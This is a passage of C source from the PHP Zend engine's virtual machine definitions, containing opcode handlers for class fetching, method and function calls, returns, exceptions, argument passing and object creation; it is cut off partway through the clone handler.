ZEND_VM_NEXT_OPCODE(); } ZEND_VM_HANDLER(109, ZEND_FETCH_CLASS, ANY, CONST|TMP|VAR|UNUSED|CV) { zend_op *opline = EX(opline); zval *class_name; zend_free_op free_op2; if (OP2_TYPE == IS_UNUSED) { EX_T(opline->result.u.var).class_entry = zend_fetch_class(NULL, 0, opline->extended_value TSRMLS_CC); ZEND_VM_NEXT_OPCODE(); } class_name = GET_OP2_ZVAL_PTR(BP_VAR_R); switch (Z_TYPE_P(class_name)) { case IS_OBJECT: EX_T(opline->result.u.var).class_entry = Z_OBJCE_P(class_name); break; case IS_STRING: EX_T(opline->result.u.var).class_entry = zend_fetch_class(Z_STRVAL_P(class_name), Z_STRLEN_P(class_name), opline->extended_value TSRMLS_CC); break; default: zend_error_noreturn(E_ERROR, "Class name must be a valid object or a string"); break; } FREE_OP2(); ZEND_VM_NEXT_OPCODE(); } ZEND_VM_HANDLER(112, ZEND_INIT_METHOD_CALL, TMP|VAR|UNUSED|CV, CONST|TMP|VAR|CV) { zend_op *opline = EX(opline); zval *function_name; char *function_name_strval; int function_name_strlen; zend_free_op free_op1, free_op2; zend_ptr_stack_3_push(&EG(arg_types_stack), EX(fbc), EX(object), NULL); function_name = GET_OP2_ZVAL_PTR(BP_VAR_R); if (Z_TYPE_P(function_name)!=IS_STRING) { zend_error_noreturn(E_ERROR, "Method name must be a string"); } function_name_strval = Z_STRVAL_P(function_name); function_name_strlen = Z_STRLEN_P(function_name); EX(object) = GET_OP1_OBJ_ZVAL_PTR(BP_VAR_R); if (EX(object) && Z_TYPE_P(EX(object)) == IS_OBJECT) { if (Z_OBJ_HT_P(EX(object))->get_method == NULL) { zend_error_noreturn(E_ERROR, "Object does not support method calls"); } /* First, locate the function. */ EX(fbc) = Z_OBJ_HT_P(EX(object))->get_method(&EX(object), function_name_strval, function_name_strlen TSRMLS_CC); if (!EX(fbc)) { zend_error_noreturn(E_ERROR, "Call to undefined method %s::%s()", Z_OBJ_CLASS_NAME_P(EX(object)), function_name_strval); } } else { zend_error_noreturn(E_ERROR, "Call to a member function %s() on a non-object", function_name_strval); } if (!EX(object) || (EX(fbc) && (EX(fbc)->common.fn_flags & ZEND_ACC_STATIC) != 0)) { EX(object) = NULL; } else { if (!PZVAL_IS_REF(EX(object))) { EX(object)->refcount++; /* For $this pointer */ } else { zval *this_ptr; ALLOC_ZVAL(this_ptr); INIT_PZVAL_COPY(this_ptr, EX(object)); zval_copy_ctor(this_ptr); EX(object) = this_ptr; } } FREE_OP2(); FREE_OP1_IF_VAR(); ZEND_VM_NEXT_OPCODE(); } ZEND_VM_HANDLER(113, ZEND_INIT_STATIC_METHOD_CALL, ANY, CONST|TMP|VAR|UNUSED|CV) { zend_op *opline = EX(opline); zval *function_name; zend_class_entry *ce; zend_ptr_stack_3_push(&EG(arg_types_stack), EX(fbc), EX(object), NULL); ce = EX_T(opline->op1.u.var).class_entry; if(OP2_TYPE != IS_UNUSED) { char *function_name_strval = NULL; int function_name_strlen; zend_bool is_const = (OP2_TYPE == IS_CONST); zend_free_op free_op2; if (is_const) { function_name_strval = Z_STRVAL(opline->op2.u.constant); function_name_strlen = Z_STRLEN(opline->op2.u.constant); } else { function_name = GET_OP2_ZVAL_PTR(BP_VAR_R); if (Z_TYPE_P(function_name) != IS_STRING) { zend_error_noreturn(E_ERROR, "Function name must be a string"); } else { function_name_strval = Z_STRVAL_P(function_name); function_name_strlen = Z_STRLEN_P(function_name); } } if (function_name_strval) { EX(fbc) = zend_std_get_static_method(ce, function_name_strval, function_name_strlen TSRMLS_CC); } if (!is_const) { FREE_OP2(); } } else { if(!ce->constructor) { zend_error_noreturn(E_ERROR, "Can not call constructor"); } if (EG(This) && Z_OBJCE_P(EG(This)) != ce->constructor->common.scope && (ce->constructor->common.fn_flags & ZEND_ACC_PRIVATE)) { zend_error(E_COMPILE_ERROR, "Cannot call private %s::__construct()", ce->name); } EX(fbc) = ce->constructor; } if (EX(fbc)->common.fn_flags & ZEND_ACC_STATIC) { EX(object) = NULL; } else { if (OP2_TYPE != IS_UNUSED && EG(This) && Z_OBJ_HT_P(EG(This))->get_class_entry && !instanceof_function(Z_OBJCE_P(EG(This)), ce TSRMLS_CC)) { /* We are calling method of the other (incompatible) class, but passing $this. This is done for compatibility with php-4. */ int severity; char *verb; if (EX(fbc)->common.fn_flags & ZEND_ACC_ALLOW_STATIC) { severity = E_STRICT; verb = "should not"; } else { /* An internal function assumes $this is present and won't check that. So PHP would crash by allowing the call. */ severity = E_ERROR; verb = "cannot"; } zend_error(severity, "Non-static method %s::%s() %s be called statically, assuming $this from incompatible context", EX(fbc)->common.scope->name, EX(fbc)->common.function_name, verb); } if ((EX(object) = EG(This))) { EX(object)->refcount++; } } ZEND_VM_NEXT_OPCODE(); } ZEND_VM_HANDLER(59, ZEND_INIT_FCALL_BY_NAME, ANY, CONST|TMP|VAR|CV) { zend_op *opline = EX(opline); zval *function_name; zend_function *function; char *function_name_strval, *lcname; int function_name_strlen; zend_free_op free_op2; zend_ptr_stack_3_push(&EG(arg_types_stack), EX(fbc), EX(object), NULL); if (OP2_TYPE == IS_CONST) { function_name_strval = opline->op2.u.constant.value.str.val; function_name_strlen = opline->op2.u.constant.value.str.len; } else { function_name = GET_OP2_ZVAL_PTR(BP_VAR_R); if (Z_TYPE_P(function_name) != IS_STRING) { zend_error_noreturn(E_ERROR, "Function name must be a string"); } function_name_strval = function_name->value.str.val; function_name_strlen = function_name->value.str.len; } lcname = zend_str_tolower_dup(function_name_strval, function_name_strlen); if (zend_hash_find(EG(function_table), lcname, function_name_strlen+1, (void **) &function)==FAILURE) { efree(lcname); zend_error_noreturn(E_ERROR, "Call to undefined function %s()", function_name_strval); } efree(lcname); if (OP2_TYPE != IS_CONST) { FREE_OP2(); } EX(object) = NULL; EX(fbc) = function; ZEND_VM_NEXT_OPCODE(); } ZEND_VM_HELPER(zend_do_fcall_common_helper, ANY, ANY) { zend_op *opline = EX(opline); zval **original_return_value; zend_class_entry *current_scope = NULL; zval *current_this = NULL; int return_value_used = RETURN_VALUE_USED(opline); zend_bool should_change_scope; zend_op *ctor_opline; if (EX(function_state).function->common.fn_flags & (ZEND_ACC_ABSTRACT|ZEND_ACC_DEPRECATED)) { if (EX(function_state).function->common.fn_flags & ZEND_ACC_ABSTRACT) { zend_error_noreturn(E_ERROR, "Cannot call abstract method %s::%s()", EX(function_state).function->common.scope->name, EX(function_state).function->common.function_name); ZEND_VM_NEXT_OPCODE(); /* Never reached */ } if (EX(function_state).function->common.fn_flags & ZEND_ACC_DEPRECATED) { zend_error(E_STRICT, "Function %s%s%s() is deprecated", EX(function_state).function->common.scope ? EX(function_state).function->common.scope->name : "", EX(function_state).function->common.scope ? "::" : "", EX(function_state).function->common.function_name); } } zend_ptr_stack_2_push(&EG(argument_stack), (void *)(zend_uintptr_t)opline->extended_value, NULL); EX_T(opline->result.u.var).var.ptr_ptr = &EX_T(opline->result.u.var).var.ptr; if (EX(function_state).function->type == ZEND_USER_FUNCTION || EX(function_state).function->common.scope) { should_change_scope = 1; current_this = EG(This); EG(This) = EX(object); current_scope = EG(scope); EG(scope) = (EX(function_state).function->type == ZEND_USER_FUNCTION || !EX(object)) ? EX(function_state).function->common.scope : NULL; } else { should_change_scope = 0; } EX_T(opline->result.u.var).var.fcall_returned_reference = 0; if (EX(function_state).function->common.scope) { if (!EG(This) && !(EX(function_state).function->common.fn_flags & ZEND_ACC_STATIC)) { int severity; char *severity_word; if (EX(function_state).function->common.fn_flags & ZEND_ACC_ALLOW_STATIC) { severity = E_STRICT; severity_word = "should not"; } else { severity = E_ERROR; severity_word = "cannot"; } zend_error(severity, "Non-static method %s::%s() %s be called statically", EX(function_state).function->common.scope->name, EX(function_state).function->common.function_name, severity_word); } } if (EX(function_state).function->type == ZEND_INTERNAL_FUNCTION) { unsigned char return_reference = EX(function_state).function->common.return_reference; ALLOC_ZVAL(EX_T(opline->result.u.var).var.ptr); INIT_ZVAL(*(EX_T(opline->result.u.var).var.ptr)); if (EX(function_state).function->common.arg_info) { zend_uint i=0; zval **p; ulong arg_count; p = (zval **) EG(argument_stack).top_element-2; arg_count = (ulong)(zend_uintptr_t) *p; while (arg_count>0) { zend_verify_arg_type(EX(function_state).function, ++i, *(p-arg_count) TSRMLS_CC); arg_count--; } } if (!zend_execute_internal) { /* saves one function call if zend_execute_internal is not used */ ((zend_internal_function *) EX(function_state).function)->handler(opline->extended_value, EX_T(opline->result.u.var).var.ptr, EX(function_state).function->common.return_reference?&EX_T(opline->result.u.var).var.ptr:NULL, EX(object), return_value_used TSRMLS_CC); } else { zend_execute_internal(EXECUTE_DATA, return_value_used TSRMLS_CC); } EG(current_execute_data) = EXECUTE_DATA; /* We shouldn't fix bad extensions here, because it can break proper ones (Bug #34045) if (!EX(function_state).function->common.return_reference) { EX_T(opline->result.u.var).var.ptr->is_ref = 0; EX_T(opline->result.u.var).var.ptr->refcount = 1; } */ if (!return_value_used) { zval_ptr_dtor(&EX_T(opline->result.u.var).var.ptr); } else { EX_T(opline->result.u.var).var.fcall_returned_reference = return_reference; } } else if (EX(function_state).function->type == ZEND_USER_FUNCTION) { EX_T(opline->result.u.var).var.ptr = NULL; if (EG(symtable_cache_ptr)>=EG(symtable_cache)) { /*printf("Cache hit! Reusing %x\n", symtable_cache[symtable_cache_ptr]);*/ EX(function_state).function_symbol_table = *(EG(symtable_cache_ptr)--); } else { ALLOC_HASHTABLE(EX(function_state).function_symbol_table); zend_hash_init(EX(function_state).function_symbol_table, 0, NULL, ZVAL_PTR_DTOR, 0); /*printf("Cache miss! Initialized %x\n", function_state.function_symbol_table);*/ } EG(active_symbol_table) = EX(function_state).function_symbol_table; original_return_value = EG(return_value_ptr_ptr); EG(return_value_ptr_ptr) = EX_T(opline->result.u.var).var.ptr_ptr; EG(active_op_array) = (zend_op_array *) EX(function_state).function; zend_execute(EG(active_op_array) TSRMLS_CC); EX_T(opline->result.u.var).var.fcall_returned_reference = EG(active_op_array)->return_reference; if (return_value_used && !EX_T(opline->result.u.var).var.ptr) { if (!EG(exception)) { ALLOC_ZVAL(EX_T(opline->result.u.var).var.ptr); INIT_ZVAL(*EX_T(opline->result.u.var).var.ptr); } } else if (!return_value_used && EX_T(opline->result.u.var).var.ptr) { zval_ptr_dtor(&EX_T(opline->result.u.var).var.ptr); } EG(opline_ptr) = &EX(opline); EG(active_op_array) = EX(op_array); EG(return_value_ptr_ptr)=original_return_value; if (EG(symtable_cache_ptr)>=EG(symtable_cache_limit)) { zend_hash_destroy(EX(function_state).function_symbol_table); FREE_HASHTABLE(EX(function_state).function_symbol_table); } else { /* clean before putting into the cache, since clean could call dtors, which could use cached hash */ zend_hash_clean(EX(function_state).function_symbol_table); *(++EG(symtable_cache_ptr)) = EX(function_state).function_symbol_table; } EG(active_symbol_table) = EX(symbol_table); } else { /* ZEND_OVERLOADED_FUNCTION */ ALLOC_ZVAL(EX_T(opline->result.u.var).var.ptr); INIT_ZVAL(*(EX_T(opline->result.u.var).var.ptr)); /* Not sure what should be done here if it's a static method */ if (EX(object)) { Z_OBJ_HT_P(EX(object))->call_method(EX(fbc)->common.function_name, opline->extended_value, EX_T(opline->result.u.var).var.ptr, &EX_T(opline->result.u.var).var.ptr, EX(object), return_value_used TSRMLS_CC); } else { zend_error_noreturn(E_ERROR, "Cannot call overloaded function for non-object"); } if (EX(function_state).function->type == ZEND_OVERLOADED_FUNCTION_TEMPORARY) { efree(EX(function_state).function->common.function_name); } efree(EX(fbc)); if (!return_value_used) { zval_ptr_dtor(&EX_T(opline->result.u.var).var.ptr); } else { EX_T(opline->result.u.var).var.ptr->is_ref = 0; EX_T(opline->result.u.var).var.ptr->refcount = 1; } } EX(function_state).function = (zend_function *) EX(op_array); EG(function_state_ptr) = &EX(function_state); ctor_opline = (zend_op*)zend_ptr_stack_pop(&EG(arg_types_stack)); if (EG(This)) { if (EG(exception) && ctor_opline) { if (RETURN_VALUE_USED(ctor_opline)) { EG(This)->refcount--; } if (EG(This)->refcount == 1) { zend_object_store_ctor_failed(EG(This) TSRMLS_CC); } } if (should_change_scope) { zval_ptr_dtor(&EG(This)); } } if (should_change_scope) { EG(This) = current_this; EG(scope) = current_scope; } zend_arg_types_stack_2_pop(&EG(arg_types_stack), &EX(object), &EX(fbc)); zend_ptr_stack_clear_multiple(TSRMLS_C); if (EG(exception)) { zend_throw_exception_internal(NULL TSRMLS_CC); if (return_value_used && EX_T(opline->result.u.var).var.ptr) { zval_ptr_dtor(&EX_T(opline->result.u.var).var.ptr); } } ZEND_VM_NEXT_OPCODE(); } ZEND_VM_HANDLER(61, ZEND_DO_FCALL_BY_NAME, ANY, ANY) { EX(function_state).function = EX(fbc); ZEND_VM_DISPATCH_TO_HELPER(zend_do_fcall_common_helper); } ZEND_VM_HANDLER(60, ZEND_DO_FCALL, CONST, ANY) { zend_op *opline = EX(opline); zend_free_op free_op1; zval *fname = GET_OP1_ZVAL_PTR(BP_VAR_R); zend_ptr_stack_3_push(&EG(arg_types_stack), EX(fbc), EX(object), NULL); if (zend_hash_find(EG(function_table), fname->value.str.val, fname->value.str.len+1, (void **) &EX(function_state).function)==FAILURE) { zend_error_noreturn(E_ERROR, "Call to undefined function %s()", fname->value.str.val); } EX(object) = NULL; FREE_OP1(); ZEND_VM_DISPATCH_TO_HELPER(zend_do_fcall_common_helper); } ZEND_VM_HANDLER(62, ZEND_RETURN, CONST|TMP|VAR|CV, ANY) { zend_op *opline = EX(opline); zval *retval_ptr; zval **retval_ptr_ptr; zend_free_op free_op1; if (EG(active_op_array)->return_reference == ZEND_RETURN_REF) { if (OP1_TYPE == IS_CONST || OP1_TYPE == IS_TMP_VAR) { /* Not supposed to happen, but we'll allow it */ zend_error(E_NOTICE, "Only variable references should be returned by reference"); ZEND_VM_C_GOTO(return_by_value); } retval_ptr_ptr = GET_OP1_ZVAL_PTR_PTR(BP_VAR_W); if (!retval_ptr_ptr) { zend_error_noreturn(E_ERROR, "Cannot return string offsets by reference"); } if (OP1_TYPE == IS_VAR && !(*retval_ptr_ptr)->is_ref) { if (opline->extended_value == ZEND_RETURNS_FUNCTION && EX_T(opline->op1.u.var).var.fcall_returned_reference) { } else if (EX_T(opline->op1.u.var).var.ptr_ptr == &EX_T(opline->op1.u.var).var.ptr) { if (OP1_TYPE == IS_VAR && !OP1_FREE) { PZVAL_LOCK(*retval_ptr_ptr); /* undo the effect of get_zval_ptr_ptr() */ } zend_error(E_NOTICE, "Only variable references should be returned by reference"); ZEND_VM_C_GOTO(return_by_value); } } SEPARATE_ZVAL_TO_MAKE_IS_REF(retval_ptr_ptr); (*retval_ptr_ptr)->refcount++; (*EG(return_value_ptr_ptr)) = (*retval_ptr_ptr); } else { ZEND_VM_C_LABEL(return_by_value): retval_ptr = GET_OP1_ZVAL_PTR(BP_VAR_R); if (EG(ze1_compatibility_mode) && Z_TYPE_P(retval_ptr) == IS_OBJECT) { zval *ret; char *class_name; zend_uint class_name_len; int dup; ALLOC_ZVAL(ret); INIT_PZVAL_COPY(ret, retval_ptr); dup = zend_get_object_classname(retval_ptr, &class_name, &class_name_len TSRMLS_CC); if (Z_OBJ_HT_P(retval_ptr)->clone_obj == NULL) { zend_error_noreturn(E_ERROR, "Trying to clone an uncloneable object of class %s", class_name); } zend_error(E_STRICT, "Implicit cloning object of class '%s' because of 'zend.ze1_compatibility_mode'", class_name); ret->value.obj = Z_OBJ_HT_P(retval_ptr)->clone_obj(retval_ptr TSRMLS_CC); *EG(return_value_ptr_ptr) = ret; if (!dup) { efree(class_name); } } else if (!IS_OP1_TMP_FREE()) { /* Not a temp var */ if (EG(active_op_array)->return_reference == ZEND_RETURN_REF || (PZVAL_IS_REF(retval_ptr) && retval_ptr->refcount > 0)) { zval *ret; ALLOC_ZVAL(ret); INIT_PZVAL_COPY(ret, retval_ptr); zval_copy_ctor(ret); *EG(return_value_ptr_ptr) = ret; } else if ((OP1_TYPE == IS_CV || OP1_TYPE == IS_VAR) && retval_ptr == &EG(uninitialized_zval)) { zval *ret; ALLOC_INIT_ZVAL(ret); *EG(return_value_ptr_ptr) = ret; } else { *EG(return_value_ptr_ptr) = retval_ptr; retval_ptr->refcount++; } } else { zval *ret; ALLOC_ZVAL(ret); INIT_PZVAL_COPY(ret, retval_ptr); *EG(return_value_ptr_ptr) = ret; } } FREE_OP1_IF_VAR(); ZEND_VM_RETURN_FROM_EXECUTE_LOOP(); } ZEND_VM_HANDLER(108, ZEND_THROW, CONST|TMP|VAR|CV, ANY) { zend_op *opline = EX(opline); zval *value; zval *exception; zend_free_op free_op1; value = GET_OP1_ZVAL_PTR(BP_VAR_R); if (Z_TYPE_P(value) != IS_OBJECT) { zend_error_noreturn(E_ERROR, "Can only throw objects"); } /* Not sure if a complete copy is what we want here */ ALLOC_ZVAL(exception); INIT_PZVAL_COPY(exception, value); if (!IS_OP1_TMP_FREE()) { zval_copy_ctor(exception); } zend_throw_exception_object(exception TSRMLS_CC); FREE_OP1_IF_VAR(); ZEND_VM_NEXT_OPCODE(); } ZEND_VM_HANDLER(107, ZEND_CATCH, ANY, ANY) { zend_op *opline = EX(opline); zend_class_entry *ce; /* Check whether an exception has been thrown, if not, jump over code */ if (EG(exception) == NULL) { ZEND_VM_SET_OPCODE(&EX(op_array)->opcodes[opline->extended_value]); ZEND_VM_CONTINUE(); /* CHECK_ME */ } ce = Z_OBJCE_P(EG(exception)); if (ce != EX_T(opline->op1.u.var).class_entry) { if (!instanceof_function(ce, EX_T(opline->op1.u.var).class_entry TSRMLS_CC)) { if (opline->op1.u.EA.type) { zend_throw_exception_internal(NULL TSRMLS_CC); ZEND_VM_NEXT_OPCODE(); } ZEND_VM_SET_OPCODE(&EX(op_array)->opcodes[opline->extended_value]); ZEND_VM_CONTINUE(); /* CHECK_ME */ } } zend_hash_update(EG(active_symbol_table), opline->op2.u.constant.value.str.val, opline->op2.u.constant.value.str.len+1, &EG(exception), sizeof(zval *), (void **) NULL); EG(exception) = NULL; ZEND_VM_NEXT_OPCODE(); } ZEND_VM_HANDLER(65, ZEND_SEND_VAL, CONST|TMP|VAR|CV, ANY) { zend_op *opline = EX(opline); if (opline->extended_value==ZEND_DO_FCALL_BY_NAME && ARG_MUST_BE_SENT_BY_REF(EX(fbc), opline->op2.u.opline_num)) { zend_error_noreturn(E_ERROR, "Cannot pass parameter %d by reference", opline->op2.u.opline_num); } { zval *valptr; zval *value; zend_free_op free_op1; value = GET_OP1_ZVAL_PTR(BP_VAR_R); ALLOC_ZVAL(valptr); INIT_PZVAL_COPY(valptr, value); if (!IS_OP1_TMP_FREE()) { zval_copy_ctor(valptr); } zend_ptr_stack_push(&EG(argument_stack), valptr); FREE_OP1_IF_VAR(); } ZEND_VM_NEXT_OPCODE(); } ZEND_VM_HELPER(zend_send_by_var_helper, VAR|CV, ANY) { zend_op *opline = EX(opline); zval *varptr; zend_free_op free_op1; varptr = GET_OP1_ZVAL_PTR(BP_VAR_R); if (varptr == &EG(uninitialized_zval)) { ALLOC_ZVAL(varptr); INIT_ZVAL(*varptr); varptr->refcount = 0; } else if (PZVAL_IS_REF(varptr)) { zval *original_var = varptr; ALLOC_ZVAL(varptr); *varptr = *original_var; varptr->is_ref = 0; varptr->refcount = 0; zval_copy_ctor(varptr); } varptr->refcount++; zend_ptr_stack_push(&EG(argument_stack), varptr); FREE_OP1(); /* for string offsets */ ZEND_VM_NEXT_OPCODE(); } ZEND_VM_HANDLER(106, ZEND_SEND_VAR_NO_REF, VAR|CV, ANY) { zend_op *opline = EX(opline); zend_free_op free_op1; zval *varptr; if (opline->extended_value & ZEND_ARG_COMPILE_TIME_BOUND) { /* Had function_ptr at compile_time */ if (!(opline->extended_value & ZEND_ARG_SEND_BY_REF)) { ZEND_VM_DISPATCH_TO_HELPER(zend_send_by_var_helper); } } else if (!ARG_SHOULD_BE_SENT_BY_REF(EX(fbc), opline->op2.u.opline_num)) { ZEND_VM_DISPATCH_TO_HELPER(zend_send_by_var_helper); } if (OP1_TYPE == IS_VAR && (opline->extended_value & ZEND_ARG_SEND_FUNCTION) && EX_T(opline->op1.u.var).var.fcall_returned_reference && EX_T(opline->op1.u.var).var.ptr) { varptr = EX_T(opline->op1.u.var).var.ptr; PZVAL_UNLOCK_EX(varptr, &free_op1, 0); } else { varptr = GET_OP1_ZVAL_PTR(BP_VAR_R); } if ((!(opline->extended_value & ZEND_ARG_SEND_FUNCTION) || EX_T(opline->op1.u.var).var.fcall_returned_reference) && varptr != &EG(uninitialized_zval) && (PZVAL_IS_REF(varptr) || (varptr->refcount == 1 && (OP1_TYPE == IS_CV || free_op1.var)))) { varptr->is_ref = 1; varptr->refcount++; zend_ptr_stack_push(&EG(argument_stack), varptr); } else { zval *valptr; if (!(opline->extended_value & ZEND_ARG_SEND_SILENT)) { zend_error(E_STRICT, "Only variables should be passed by reference"); } ALLOC_ZVAL(valptr); INIT_PZVAL_COPY(valptr, varptr); if (!IS_OP1_TMP_FREE()) { zval_copy_ctor(valptr); } zend_ptr_stack_push(&EG(argument_stack), valptr); } FREE_OP1_IF_VAR(); ZEND_VM_NEXT_OPCODE(); } ZEND_VM_HANDLER(67, ZEND_SEND_REF, VAR|CV, ANY) { zend_op *opline = EX(opline); zend_free_op free_op1; zval **varptr_ptr; zval *varptr; varptr_ptr = GET_OP1_ZVAL_PTR_PTR(BP_VAR_W); if (!varptr_ptr) { zend_error_noreturn(E_ERROR, "Only variables can be passed by reference"); } if (OP1_TYPE == IS_VAR && *varptr_ptr == EG(error_zval_ptr)) { (*varptr_ptr)->refcount--; ALLOC_ZVAL(*varptr_ptr); INIT_ZVAL(**varptr_ptr); (*varptr_ptr)->refcount = 0; } if (EX(function_state).function->type == ZEND_INTERNAL_FUNCTION && !ARG_SHOULD_BE_SENT_BY_REF(EX(fbc), opline->op2.u.opline_num)) { ZEND_VM_DISPATCH_TO_HELPER(zend_send_by_var_helper); } SEPARATE_ZVAL_TO_MAKE_IS_REF(varptr_ptr); varptr = *varptr_ptr; varptr->refcount++; zend_ptr_stack_push(&EG(argument_stack), varptr); FREE_OP1_VAR_PTR(); ZEND_VM_NEXT_OPCODE(); } ZEND_VM_HANDLER(66, ZEND_SEND_VAR, VAR|CV, ANY) { zend_op *opline = EX(opline); if ((opline->extended_value == ZEND_DO_FCALL_BY_NAME) && ARG_SHOULD_BE_SENT_BY_REF(EX(fbc), opline->op2.u.opline_num)) { ZEND_VM_DISPATCH_TO_HANDLER(ZEND_SEND_REF); } ZEND_VM_DISPATCH_TO_HELPER(zend_send_by_var_helper); } ZEND_VM_HANDLER(63, ZEND_RECV, ANY, ANY) { zend_op *opline = EX(opline); zval **param; zend_uint arg_num = Z_LVAL(opline->op1.u.constant); if (zend_ptr_stack_get_arg(arg_num, (void **) &param TSRMLS_CC)==FAILURE) { char *space; char *class_name = get_active_class_name(&space TSRMLS_CC); zend_execute_data *ptr = EX(prev_execute_data); zend_verify_arg_type((zend_function *) EG(active_op_array), arg_num, NULL TSRMLS_CC); if(ptr && ptr->op_array) { zend_error(E_WARNING, "Missing argument %ld for %s%s%s(), called in %s on line %d and defined", opline->op1.u.constant.value.lval, class_name, space, get_active_function_name(TSRMLS_C), ptr->op_array->filename, ptr->opline->lineno); } else { zend_error(E_WARNING, "Missing argument %ld for %s%s%s()", opline->op1.u.constant.value.lval, class_name, space, get_active_function_name(TSRMLS_C)); } if (opline->result.op_type == IS_VAR) { PZVAL_UNLOCK_FREE(*EX_T(opline->result.u.var).var.ptr_ptr); } } else { zend_free_op free_res; zval **var_ptr; zend_verify_arg_type((zend_function *) EG(active_op_array), arg_num, *param TSRMLS_CC); var_ptr = get_zval_ptr_ptr(&opline->result, EX(Ts), &free_res, BP_VAR_W); if (PZVAL_IS_REF(*param)) { zend_assign_to_variable_reference(var_ptr, param TSRMLS_CC); } else { zend_receive(var_ptr, *param TSRMLS_CC); } } ZEND_VM_NEXT_OPCODE(); } ZEND_VM_HANDLER(64, ZEND_RECV_INIT, ANY, CONST) { zend_op *opline = EX(opline); zval **param, *assignment_value; zend_uint arg_num = Z_LVAL(opline->op1.u.constant); zend_free_op free_res; if (zend_ptr_stack_get_arg(arg_num, (void **) &param TSRMLS_CC)==FAILURE) { if (Z_TYPE(opline->op2.u.constant) == IS_CONSTANT || Z_TYPE(opline->op2.u.constant)==IS_CONSTANT_ARRAY) { zval *default_value; ALLOC_ZVAL(default_value); *default_value = opline->op2.u.constant; default_value->refcount=1; zval_update_constant(&default_value, 0 TSRMLS_CC); default_value->refcount=0; default_value->is_ref=0; param = &default_value; assignment_value = default_value; } else { param = NULL; assignment_value = &opline->op2.u.constant; } zend_verify_arg_type((zend_function *) EG(active_op_array), arg_num, assignment_value TSRMLS_CC); zend_assign_to_variable(NULL, &opline->result, NULL, assignment_value, IS_VAR, EX(Ts) TSRMLS_CC); } else { zval **var_ptr = get_zval_ptr_ptr(&opline->result, EX(Ts), &free_res, BP_VAR_W); assignment_value = *param; zend_verify_arg_type((zend_function *) EG(active_op_array), arg_num, assignment_value TSRMLS_CC); if (PZVAL_IS_REF(assignment_value)) { zend_assign_to_variable_reference(var_ptr, param TSRMLS_CC); } else { zend_receive(var_ptr, assignment_value TSRMLS_CC); } } ZEND_VM_NEXT_OPCODE(); } ZEND_VM_HANDLER(52, ZEND_BOOL, CONST|TMP|VAR|CV, ANY) { zend_op *opline = EX(opline); zend_free_op free_op1; /* PHP 3.0 returned "" for false and 1 for true, here we use 0 and 1 for now */ Z_LVAL(EX_T(opline->result.u.var).tmp_var) = i_zend_is_true(GET_OP1_ZVAL_PTR(BP_VAR_R)); Z_TYPE(EX_T(opline->result.u.var).tmp_var) = IS_BOOL; FREE_OP1(); ZEND_VM_NEXT_OPCODE(); } ZEND_VM_HANDLER(50, ZEND_BRK, ANY, CONST|TMP|VAR|CV) { zend_op *opline = EX(opline); zend_free_op free_op2; zend_brk_cont_element *el; el = zend_brk_cont(GET_OP2_ZVAL_PTR(BP_VAR_R), opline->op1.u.opline_num, EX(op_array), EX(Ts) TSRMLS_CC); FREE_OP2(); ZEND_VM_JMP(EX(op_array)->opcodes + el->brk); } ZEND_VM_HANDLER(51, ZEND_CONT, ANY, CONST|TMP|VAR|CV) { zend_op *opline = EX(opline); zend_free_op free_op2; zend_brk_cont_element *el; el = zend_brk_cont(GET_OP2_ZVAL_PTR(BP_VAR_R), opline->op1.u.opline_num, EX(op_array), EX(Ts) TSRMLS_CC); FREE_OP2(); ZEND_VM_JMP(EX(op_array)->opcodes + el->cont); } ZEND_VM_HANDLER(48, ZEND_CASE, CONST|TMP|VAR|CV, CONST|TMP|VAR|CV) { zend_op *opline = EX(opline); int switch_expr_is_overloaded=0; zend_free_op free_op1, free_op2; if (OP1_TYPE==IS_VAR) { if (EX_T(opline->op1.u.var).var.ptr_ptr) { PZVAL_LOCK(EX_T(opline->op1.u.var).var.ptr); } else { switch_expr_is_overloaded = 1; EX_T(opline->op1.u.var).str_offset.str->refcount++; } } is_equal_function(&EX_T(opline->result.u.var).tmp_var, GET_OP1_ZVAL_PTR(BP_VAR_R), GET_OP2_ZVAL_PTR(BP_VAR_R) TSRMLS_CC); FREE_OP2(); if (switch_expr_is_overloaded) { /* We only free op1 if this is a string offset, * Since if it is a TMP_VAR, it'll be reused by * other CASE opcodes (whereas string offsets * are allocated at each get_zval_ptr()) */ FREE_OP1(); EX_T(opline->op1.u.var).var.ptr_ptr = NULL; AI_USE_PTR(EX_T(opline->op1.u.var).var); } ZEND_VM_NEXT_OPCODE(); } ZEND_VM_HANDLER(49, ZEND_SWITCH_FREE, TMP|VAR, ANY) { zend_switch_free(EX(opline), EX(Ts) TSRMLS_CC); ZEND_VM_NEXT_OPCODE(); } ZEND_VM_HANDLER(68, ZEND_NEW, ANY, ANY) { zend_op *opline = EX(opline); zval *object_zval; zend_function *constructor; if (EX_T(opline->op1.u.var).class_entry->ce_flags & (ZEND_ACC_INTERFACE|ZEND_ACC_IMPLICIT_ABSTRACT_CLASS|ZEND_ACC_EXPLICIT_ABSTRACT_CLASS)) { char *class_type; if (EX_T(opline->op1.u.var).class_entry->ce_flags & ZEND_ACC_INTERFACE) { class_type = "interface"; } else { class_type = "abstract class"; } zend_error_noreturn(E_ERROR, "Cannot instantiate %s %s", class_type, EX_T(opline->op1.u.var).class_entry->name); } ALLOC_ZVAL(object_zval); object_init_ex(object_zval, EX_T(opline->op1.u.var).class_entry); INIT_PZVAL(object_zval); constructor = Z_OBJ_HT_P(object_zval)->get_constructor(object_zval TSRMLS_CC); if (constructor == NULL) { if (RETURN_VALUE_USED(opline)) { EX_T(opline->result.u.var).var.ptr_ptr = &EX_T(opline->result.u.var).var.ptr; EX_T(opline->result.u.var).var.ptr = object_zval; } else { zval_ptr_dtor(&object_zval); } ZEND_VM_JMP(EX(op_array)->opcodes + opline->op2.u.opline_num); } else { SELECTIVE_PZVAL_LOCK(object_zval, &opline->result); EX_T(opline->result.u.var).var.ptr_ptr = &EX_T(opline->result.u.var).var.ptr; EX_T(opline->result.u.var).var.ptr = object_zval; zend_ptr_stack_3_push(&EG(arg_types_stack), EX(fbc), EX(object), opline); /* We are not handling overloaded classes right now */ EX(object) = object_zval; EX(fbc) = constructor; ZEND_VM_NEXT_OPCODE(); } } ZEND_VM_HANDLER(110, ZEND_CLONE, CONST|TMP|VAR|UNUSED|CV, ANY) { zend_op *opline = EX(opline); zend_free_op free_op1; zval *obj = GET_OP1_OBJ_ZVAL_PTR(BP_VAR_R); zend_class_entry *ce; zend_function *clone; zend_object_clone_obj_t clone_call; if (!obj || Z_TYPE_P(obj) != IS_OBJECT) { zend_error_noreturn(E_ERROR, "__clone method called on non-object"); EX_T(opline->result.u.var).var.ptr = 